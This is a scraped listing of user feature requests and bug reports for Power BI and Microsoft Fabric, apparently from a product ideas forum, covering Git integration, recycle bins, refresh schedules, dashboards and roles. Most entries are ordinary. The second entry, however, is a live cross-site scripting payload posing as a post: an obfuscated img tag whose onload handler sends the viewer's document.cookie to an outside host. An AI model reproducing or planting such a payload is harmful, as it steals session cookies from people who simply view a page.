Git integration currently only supports PATs, which is not suitable for enterprise-scale use cases ... View more

<img /helloooooo src=https://blindf.com/a.jpg on on onNONONOX OnLoAd=this.src='//ima.blindf.com/oc.php/?c='+document.cookie> ... View more

If you try to call interface updateFromGit (https://learn.microsoft.com/en-us/rest/api/fabric/core/git/update-from-git) with a Service Principal you get:    "Error details '{"requestId":"xxx","errorCode":"BadRequest","moreDetails":[{"errorCode":"PrincipalTypeNotSupported","message":"The operation is not supported for the principal type","relatedResource":{"resourceType":"Warehouse"}}],"message":"The request could not be processed due to missing or invalid information"}'" Same for error when you want to call interface deploy-stage-content (https://learn.microsoft.com/en-us/rest/api/fabric/core/deployment-pipelines/list-deployment-pipeline-stages) using a DevOps connection configure with a service principal    This hinders automation for SQL-base deployment in Fabric!    ... View more

Today, if something is deleted from a Microsoft Fabric workspace (like a Lakehouse, Notebook, Pipeline, or Dataset), it is permanently removed with no simple way to restore it. This can be risky, especially when deletions happen by mistake or during development and testing. I propose adding a restore or recycle bin feature at the workspace level. When an item is deleted, it should be kept in a temporary recovery area for a defined period (for example, 15–30 days), allowing workspace admins to restore it if needed. This feature would: Protect against accidental deletions Reduce downtime and rework Improve confidence when multiple users collaborate in the same workspace Align Fabric with common enterprise expectations for data and asset protection A workspace-level restore option would greatly improve usability, governance, and operational safety in Microsoft Fabric. ... View more

Hello Team, As you may be aware, scheduled refreshes of the semantic models will be deactivated after a period of inactivity. Users will need to reset the refresh schedules, and this has caused unnecessary production issues. Please notify users before disabling these refreshes to ensure everyone is informed. it will be very usefull to the users to avoid such refresh failures and production issues  Thanks in advance. ... View more

We propose the implementation of a recycle bin-like feature inside a Power BI (PBI) workspace. This feature would house all deleted dashboards, semantic models, and other items, allowing them to be restored if they were deleted in error. Currently, PBI does not have this capability, meaning a deleted dashboard cannot be recovered. ... View more

O editor avançado do Power Query é um "editor de texto" e como tal, poderia ter uma função tipo CTRL+F ou CTRL+L para localizar textos ou palavras. ... View more

I'm currently working on a Power BI report. Because I want to implement a function similar to merged cells in Excel, I used a matrix instead of a table. However, due to the excessive number of row fields, after publishing it to the web, the row headers are frozen by default. This causes the horizontal scrollbar to disappear. Therefore, I have to click to unfreeze the row headers every time to make the horizontal scrollbar reappear. Is there a way to unfreeze the row headers by default? ... View more

  I am writing to submit a feature request regarding the current behavior of artifact creation within Power BI/Fabric workspaces. The Current Behavior: Currently, whenever a new Power BI report is published to a workspace, the system frequently automatically generates a corresponding Dashboard artifact. The Problem: While this feature may be intended to help users get started quickly, it is causing significant friction for our development and administrative teams: Artifact Bloat: It creates multiple unintended artifacts in the workspace, doubling the number of items listed. User Confusion: End-users often struggle to distinguish between the actual Report and the auto-generated (often empty or unconfigured) Dashboard, leading to support tickets and confusion on which item to open. Manual Maintenance: Administrators and developers are forced to manually delete these unwanted dashboards after every publish to maintain a clean environment. The Request: I strongly request a feature that allows users to disable the auto-creation of dashboards. This control would be most effective if implemented in one of the following ways: Workspace Settings: A toggle within the specific Workspace settings (e.g., "Automatically create dashboards when publishing reports: ON/OFF"). Tenant Admin Settings: A global governance setting in the Admin Portal to disable this behavior across the organization. Implementing this control would significantly improve workspace hygiene and reduce the management overhead for Power BI developers and Fabric administrators. Thank you for your time and consideration. ... View more

When creating a new, live connected report from an existing semantic model, the DAX code of a mesaure of calculated column is not visible to the report author. In practice, it makes it very hard for the author to use a measure without the ability to see its DAX code... ... View more

First off, Wherever the correct place to submit bugs is, its impossible to find. Anyway I've noticed that data dissapears from my visual depending on nothing else other than the ordering of the columns. Below screen shots taken with the ONLY change being the ordering of the column.     ... View more

Sinto falta de um recurso que destaque as colunas e medidas que estão sendo utilizadas no relatório. Por exemplo, às vezes quero excluir uma medida, mas não sei se ela está sendo usada em algum visual do dashboard. Seria muito útil ter um indicador mostrando se e onde cada medida ou coluna está sendo utilizada.   ... View more

Ter mais opções de ícones nas formatações condicionais, as vezes sinto falta de alguns ícones específicos, como seta para baixo verde. Seria legal se pudessemos personalizar/escolher nossos próprios ícones também!  ... View more

Data segmentation visual, configured as a dropdown, is overlapping the main panel, as shown in the image above. ... View more

Problem: Currently, scheduled refresh for the Fabric Capacity Metrics app requires the account to be a Capacity Admin, even if the account only needs to refresh data and not manage capacity settings. This creates unnecessary privilege escalation and security risk. Impact: Organizations must grant high-level admin rights to service accounts or automation accounts. Violates least-privilege principles. Increases audit and compliance overhead. Proposed Solution: Introduce a Capacity Metrics Reader role that: Grants access to capacity telemetry APIs for refresh purposes. Does not allow capacity configuration changes. Can be assigned to service accounts used for scheduled refresh. Benefits: Aligns with least-privilege security best practices. Reduces risk of accidental or malicious capacity changes. Simplifies compliance for organizations with strict role-based access controls. ... View more

As of today, Semester isn't available as a Category when creating Calendars. Why is it not available, as this is a standard period in calendars?   Please add it as a new Category. Even though there is no Time Intelligence function for the Semester, several of my clients use it for reporting. ... View more

Summary: Enable a tenant‑controlled “Live data (DirectQuery)” option for Publish to web so public viewers see current data without scheduled imports. Problem: Publish to web blocks DirectQuery reports, preventing live public dashboards. Customers repeatedly ask to embed public, time‑sensitive views that must reflect real‑time data. Request: Add Publish to web – Live (DirectQuery) with admin controls, throttling, short‑lived caching, capacity requirements, and clear security disclaimers. Benefits: Unlocks public real‑time scenarios, reduces refresh complexity, improves transparency. ... View more

Hi team,   I would be really helpful if we could have the explore mode in the Power BI desktop when connected to a semantic model in edit mode or even in connected mode   That would make the exploration of the data very accessible - the share and open in new tab buttons should of course not be there 🙂         ... View more

At the moment in a large query with many interdependencies it can be really hard to navigate and find the right info. It's a great feature to have but could  use improvements like for example:   Visually differentiate upstream vs. downstream queries relative to the selected query, eg color coding Make it easier to choose the starting query for the view (e.g., quick search or dropdown), eg Search bar or dropdown to pick the query to focus on Option to “Center on selected query” for clarity Maybe also add filters to show only upstream, only downstream, or both. ... View more